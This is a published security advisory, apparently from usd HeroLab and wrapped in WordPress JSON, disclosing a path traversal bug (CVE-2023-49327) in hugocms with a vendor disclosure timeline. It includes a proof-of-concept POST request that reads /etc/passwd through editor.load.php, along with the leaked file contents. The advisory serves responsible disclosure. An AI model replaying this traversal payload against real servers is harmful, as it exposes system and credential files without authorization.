{"id":22882,"date":"2024-07-22T11:02:11","date_gmt":"2024-07-22T09:02:11","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=22882"},"modified":"2024-07-24T11:22:33","modified_gmt":"2024-07-24T09:22:33","slug":"usd-2023-0034","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2023-0034\/","title":{"rendered":"usd-2023-0034"},"content":{"rendered":"

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usd-2023-0034 | Arbitrary File Reads in hugocms<\/h1>\n

<\/h1>\n

Advisory ID<\/strong>: usd-2023-0034
Product<\/strong>: hugocms
Affected Version<\/strong>: (latest as of 25.09.2023; commit 77443d6)
Vulnerability Type<\/strong>: CWE-35: Path Traversal
Security Risk<\/strong>: HIGH
Vendor URL<\/strong>: https:\/\/hugoeditor.com\/<\/a>
Vendor acknowledged vulnerability<\/strong>: Yes
Vendor Status<\/strong>: Fixed
Advisory Status<\/strong>: Published
CVE number<\/strong>: CVE-2023-49327
First Published<\/strong>: 2024-07-18
Last Update<\/strong>: 2024-07-18<\/p>\n

Desciption<\/h3>\n

The application hugocms<\/em>, developed by Inter-Data, provides a frontend for the static site generator hugo<\/em> to manage posts and other aspects of the site. The application does not provide any access-control mechanism and recommends to restrict access via a web server's basic auth capabilities.<\/p>\n

Users with access to hugocms can read arbitrary files of the host system by performing a path traversal. The flaw is present in hugocms\/editor.load.php<\/strong>.<\/p>\n

Proof of Concept<\/h3>\n

The following request reads the passwd<\/strong> file of the host:<\/p>\n

Request:<\/p>\n

\n
<\/span>POST<\/span> \/public\/edit\/hugocms\/editor.load.php<\/span> HTTP<\/span>\/<\/span>1.1
<\/span>Host<\/span>:<\/span> 10.1.1.157
<\/span>Content-Type<\/span>:<\/span> application\/x-www-form-urlencoded; charset=UTF-8
<\/span>Content-Length<\/span>:<\/span> 28<\/span>file<\/span>=<\/span>\/..\/..\/..\/..\/etc\/passwd<\/span><\/pre>\n<\/div>\n
Response:<\/p>\n
\n
<\/span>HTTP<\/span>\/<\/span>1.1<\/span> 200<\/span> OK
<\/span>Date<\/span>:<\/span> Mon, 25 Sep 2023 18:40:34 GMT
<\/span>Server<\/span>:<\/span> Apache\/2.4.57 (Debian)
<\/span>Vary<\/span>:<\/span> Accept-Encoding
<\/span>Content-Length<\/span>:<\/span> 1136
<\/span>Content-Type<\/span>:<\/span> text\/html; charset=UTF-8<\/span>root:x:0:0:root:\/root:\/bin\/bashdaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologinbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologinsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin[...]www-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin[...]sshd:x:101:65534::\/run\/sshd:\/usr\/sbin\/nologin[...]<\/pre>\n<\/div>\n
Timeline<\/h3>\n
    \n
  • 2023-09-25<\/strong>: Vulnerability identified by Florian Dewald.<\/li>\n
  • 2023-10-02<\/strong>: Sent first contact request.<\/li>\n
  • 2023-10-16<\/strong>: Sent reminder email mentioning disclosure deadline.<\/li>\n
  • 2023-10-25<\/strong>: Sent another reminder stressing that vulnerabilities will be publicly disclosed.<\/li>\n
  • 2023-11-13<\/strong>: Sent another reminder stressing our deadline and that vulnerabilities will be publicly disclosed if we receive no answer.<\/li>\n
  • 2023-11-22<\/strong>: Reached vendor via phone, sent vulnerability information.<\/li>\n
  • 2023-12-04<\/strong>: Sent status update request to info@inter-data.de<\/li>\n
  • 2023-12-06<\/strong>: Inter-Data reports that a fix is being worked on.<\/li>\n
  • 2024-01-03<\/strong>: According to Inter-Data a fix is in the works and should be finished soon.<\/li>\n
  • 2024-01-24<\/strong>: Reached out to Inter-Data for another status update.<\/li>\n
  • 2024-01-26<\/strong>: Inter-Data reports that the vulnerability is fixed.<\/li>\n
  • 2024-07-18<\/strong>: This advisory is published.<\/li>\n<\/ul>\n
    Credits<\/h3>\n
    This security vulnerability was identified by Florian Dewald of usd AG.<\/p>\n
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    usd-2023-0034 | Arbitrary File Reads in hugocms Advisory ID: usd-2023-0034Product: hugocmsAffected Version: (latest as of 25.09.2023; commit 77443d6)Vulnerability Type: CWE-35: Path TraversalSecurity Risk: HIGHVendor URL: https:\/\/hugoeditor.com\/Vendor acknowledged vulnerability: YesVendor Status: FixedAdvisory Status: PublishedCVE number: CVE-2023-49327First Published: 2024-07-18Last Update: 2024-07-18 Desciption The application hugocms, developed by Inter-Data, provides a frontend for the static site generator hugo […]<\/p>\n","protected":false},"author":118,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-22882","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/22882","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/118"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=22882"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/22882\/revisions"}],"predecessor-version":[{"id":23077,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/22882\/revisions\/23077"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=22882"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}